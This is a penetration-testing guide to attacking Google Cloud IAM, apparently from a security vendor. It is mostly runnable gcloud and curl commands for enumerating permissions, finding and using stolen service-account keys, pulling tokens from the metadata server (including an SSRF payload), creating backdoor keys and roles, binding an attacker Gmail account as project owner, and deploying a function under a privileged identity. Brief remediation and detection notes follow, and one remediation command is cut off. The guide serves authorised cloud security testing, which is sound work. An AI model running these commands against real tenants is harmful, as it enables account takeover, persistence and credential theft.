GCP IAM Security Testing: Privilege Escalation, Service Account Abuse, and Lateral Movement

Google Cloud's IAM model is powerful but subtle — service accounts, workload identity, org-level policies, and project bindings interact in ways that create non-obvious privilege escalation paths. This guide covers the full GCP IAM attack surface used in cloud penetration tests.

Why GCP IAM Is a Priority Attack Target

GCP IAM controls access to every resource in a Google Cloud organization. Unlike AWS, GCP uses a hierarchical resource model (Organization → Folder → Project → Resource) where permissions at higher levels cascade downward. This creates several unique attack patterns:

Phase 1: Enumeration and Initial Recon

Establishing Identity and Scope

# Who am I?
gcloud auth list
gcloud config list
gcloud projects list

# What organization am I in?
gcloud organizations list
gcloud resource-manager folders list --organization=[ORG_ID]

# What projects can I see?
gcloud projects list --filter="lifecycleState=ACTIVE"

# Current identity details
gcloud auth print-identity-token
gcloud iam service-accounts list --project=[PROJECT_ID]

Automated GCP Enumeration

# Use enumerate-iam equivalent for GCP: gcp_scanner or gcpwn
git clone https://github.com/GoogleCloudPlatform/gcp_scanner
python3 scanner.py -p [PROJECT_ID] -o output/

# Or use Hayat for automated GCP permission enumeration
# Tests ~700 GCP API actions against current credentials
git clone https://github.com/DenizParlak/hayat
python3 hayat.py

# Manual: list IAM policy for the project
gcloud projects get-iam-policy [PROJECT_ID] --format=json | \
  jq '.bindings[] | {role: .role, members: .members}'

# Find service accounts with keys
gcloud iam service-accounts list --project=[PROJECT_ID] | \
  awk 'NR>1{print $2}' | \
  while read sa; do
    echo "=== $sa ==="
    gcloud iam service-accounts keys list --iam-account=$sa 2>/dev/null
  done

Identifying High-Value Targets

# Find service accounts with primitive roles (Owner, Editor, Viewer)
gcloud projects get-iam-policy [PROJECT_ID] --format=json | \
  jq '.bindings[] | select(.role | test("roles/(owner|editor)")) | {role, members}'

# List custom roles (may have unusual permission combinations)
gcloud iam roles list --project=[PROJECT_ID] --format="table(name,title,stage)"

# Check organization-level policies
gcloud organizations get-iam-policy [ORG_ID] --format=json | \
  jq '.bindings[] | select(.members[] | contains("serviceAccount")) | {role, members}'

Phase 2: Service Account Key Theft and Abuse

Finding Exposed Key Files

GCP service account key files (.json) are one of the most commonly leaked credential types in cloud environments:

# Search code repositories
trufflehog git https://github.com/target-org/repo --only-verified
gitleaks detect --source /path/to/repo

# Grep for GCP key file patterns
grep -r "private_key_id" /path/to/search --include="*.json" -l
grep -r "service_account" /path/to/search --include="*.json" -l

# Docker image inspection
docker run --rm -it [image] find / -name "*.json" 2>/dev/null | \
  xargs grep -l "private_key" 2>/dev/null

# Check common misconfigured GCS bucket paths
gsutil ls gs://[bucket]/
gsutil ls gs://[bucket]/credentials/
gsutil cat gs://[bucket]/service-account.json 2>/dev/null

Using a Stolen Key File

# Activate stolen service account
gcloud auth activate-service-account \
  --key-file=/path/to/stolen-key.json

# Verify identity
gcloud auth list
gcloud config set account [SA_EMAIL]

# Generate access token for API calls
gcloud auth print-access-token

# Use token directly with REST APIs
TOKEN=$(gcloud auth print-access-token)
curl -H "Authorization: Bearer $TOKEN" \
  "https://cloudresourcemanager.googleapis.com/v1/projects/[PROJECT]"

Creating New Key Files for Persistence

# If you have iam.serviceAccountKeys.create permission:
gcloud iam service-accounts keys create /tmp/backdoor-key.json \
  --iam-account=[TARGET_SA]@[PROJECT].iam.gserviceaccount.com

# This creates a persistent key that survives password resets
# and is not tied to the current user session

Phase 3: GCP IAM Privilege Escalation Paths

The Core Escalation Primitives

GCP privilege escalation typically flows through one of these primitives:

1. iam.serviceAccounts.actAs

# If you have iam.serviceAccounts.actAs on a higher-privileged SA:
# Impersonate the target service account
gcloud auth print-access-token \
  --impersonate-service-account=[PRIVILEGED_SA]@[PROJECT].iam.gserviceaccount.com

# Then use the impersonated token
PRIV_TOKEN=$(gcloud auth print-access-token \
  --impersonate-service-account=[PRIVILEGED_SA]@[PROJECT].iam.gserviceaccount.com)
curl -H "Authorization: Bearer $PRIV_TOKEN" \
  "https://cloudresourcemanager.googleapis.com/v1/projects/[PROJECT]:getIamPolicy"

2. iam.roles.update / iam.roles.create

# Update a custom role you have access to — add permissions
gcloud iam roles update [CUSTOM_ROLE_ID] --project=[PROJECT_ID] \
  --add-permissions="iam.serviceAccounts.actAs,resourcemanager.projects.setIamPolicy"

# Create a new custom role with admin permissions
gcloud iam roles create backdoor_role \
  --project=[PROJECT_ID] \
  --permissions="iam.serviceAccounts.actAs,iam.serviceAccountKeys.create,resourcemanager.projects.setIamPolicy" \
  --stage=GA

3. setIamPolicy Escalation

# If you have resourcemanager.projects.setIamPolicy:
# Grant yourself or a controlled SA the Owner role
gcloud projects add-iam-policy-binding [PROJECT_ID] \
  --member="serviceAccount:[CONTROLLED_SA]@[PROJECT].iam.gserviceaccount.com" \
  --role="roles/owner"

# Or bind to your user account directly
gcloud projects add-iam-policy-binding [PROJECT_ID] \
  --member="user:attacker@gmail.com" \
  --role="roles/owner"

4. Cloud Functions / Cloud Run Escalation

# Deploy a Cloud Function with a privileged service account
# If you have cloudfunctions.functions.create + iam.serviceAccounts.actAs:
cat > /tmp/main.py << 'EOF'
import subprocess
def handler(request):
    result = subprocess.run(['gcloud', 'projects', 'get-iam-policy', 'PROJECT'],
                          capture_output=True, text=True)
    return result.stdout
EOF

gcloud functions deploy escalation-fn \
  --runtime python311 \
  --trigger-http \
  --allow-unauthenticated \
  --service-account=[PRIVILEGED_SA]@[PROJECT].iam.gserviceaccount.com \
  --source /tmp/

# Invoke the function — it runs as the privileged SA
curl https://[REGION]-[PROJECT].cloudfunctions.net/escalation-fn

5. GKE Node Default Service Account

# GKE nodes often run with compute default SA (can have Editor role)
# If you can exec into a GKE pod or the node:
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# Token is returned — use it to call GCP APIs as the node SA

Complete Escalation Path Table

Permission RequiredEscalation MethodResult
iam.serviceAccounts.actAsImpersonate higher-privileged SASA's full permissions
iam.serviceAccountKeys.createCreate persistent key for any SA you can listPersistent SA access
resourcemanager.projects.setIamPolicyBind owner role to controlled identityProject owner
iam.roles.updateAdd permissions to existing custom roleArbitrary permissions
cloudfunctions.functions.create + actAsDeploy function as privileged SASA's full permissions
compute.instances.create + actAsCreate VM with privileged SA attachedSA's full permissions via IMDS
iam.serviceAccounts.getAccessTokenGenerate token for any SA directlySA's full permissions
deploymentmanager.deployments.createDeploy resources with privileged SASA's full permissions

Phase 4: Metadata Server Exploitation

Direct IMDS Access from Compute Engine

# From inside a GCE instance:
# Get service account token
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# Returns: {"access_token":"ya29.xxx","expires_in":3599,"token_type":"Bearer"}

# Get service account email
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email"

# Get project ID and other instance metadata
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/project/project-id"

# List all attributes (may include startup scripts with secrets)
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true"

SSRF to Metadata Server

# GCP IMDS requires the Metadata-Flavor: Google header
# Standard SSRF payloads won't work without header injection
# But applications that proxy arbitrary headers are vulnerable:
curl -X POST https://app.target.com/fetch \
  -H "Content-Type: application/json" \
  -d '{
    "url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token",
    "headers": {"Metadata-Flavor": "Google"}
  }'

# Check if the app strips or forwards custom headers
# Some frameworks forward all request headers to upstream URLs

Startup Script Secrets

# Instance startup scripts are commonly used to bootstrap apps
# and may contain secrets, API keys, or git credentials
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/attributes/startup-script"

# Project-wide metadata
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true"

Phase 5: Workload Identity Federation Attacks

Misconfigured External Identity Providers

# Workload Identity Federation allows external identities (GitHub Actions,
# AWS roles, Azure AD) to impersonate GCP service accounts
# List workload identity pools
gcloud iam workload-identity-pools list --location=global --project=[PROJECT]

# Get pool details — look for overly broad attribute conditions
gcloud iam workload-identity-pools describe [POOL_ID] \
  --location=global --project=[PROJECT]

# List providers in the pool
gcloud iam workload-identity-pools providers list \
  --workload-identity-pool=[POOL_ID] \
  --location=global --project=[PROJECT]

Vulnerable patterns in attribute conditions:

# Too broad — any identity from the external provider can impersonate
attribute.repository=="*"    # wildcard repo
attribute.sub.startsWith("") # matches everything

# Correct — scope to a specific repo/identity
attribute.repository=="org/specific-repo"

Phase 6: Lateral Movement Across Projects

# Enumerate all projects the current identity can access
gcloud projects list

# Check for cross-project SA bindings
for project in $(gcloud projects list --format="value(projectId)"); do
  echo "=== $project ==="
  gcloud projects get-iam-policy $project --format=json 2>/dev/null | \
    jq '.bindings[] | select(.members[] | contains("serviceAccount")) | {role, members}' 2>/dev/null
done

# Check organization-level bindings (requires org-level permissions)
gcloud organizations get-iam-policy [ORG_ID] --format=json | \
  jq '.bindings[] | {role, members}'

# Check folder-level policies
gcloud resource-manager folders get-iam-policy [FOLDER_ID] --format=json

Testing Tools

ToolPurpose
gcloud CLIPrimary enumeration and exploitation tool
gcpwnAutomated GCP privilege escalation and enumeration
gcp_scannerGoogle's own scanner — checks ~1000 permissions
hayatTests all GCP API actions for the current identity
trufflehogFind exposed GCP key files in code/containers
ScoutSuiteMulti-cloud security auditing (GCP module)
Forseti SecurityGCP policy enforcement and auditing

Remediation

Service Account Hardening

Organization Policy Constraints

# Prevent service account key creation across the org
gcloud org-policies set-policy - <

Monitoring and Detection

# Enable Cloud Audit Logs for IAM changes
# Log these events:
# - iam.googleapis.com/projects.setIamPolicy
# - iam.serviceAccounts.actAs
# - iam.serviceAccountKeys.create
# - iam.serviceAccountKeys.get

# Create alerting policy for privilege escalation indicators
gcloud alpha monitoring policies create \
  --notification-channels=[CHANNEL] \
  --display-name="GCP IAM Escalation Alert" \
  --condition-filter='resource.type="project" AND protoPayload.methodName="SetIamPolicy"'

Test Your GCP-Connected Applications

Ironimo scans the web application layer of your GCP-hosted apps for vulnerabilities that could lead to credential theft and privilege escalation — SSRF, injection, authentication bypass, and more. Start free scan.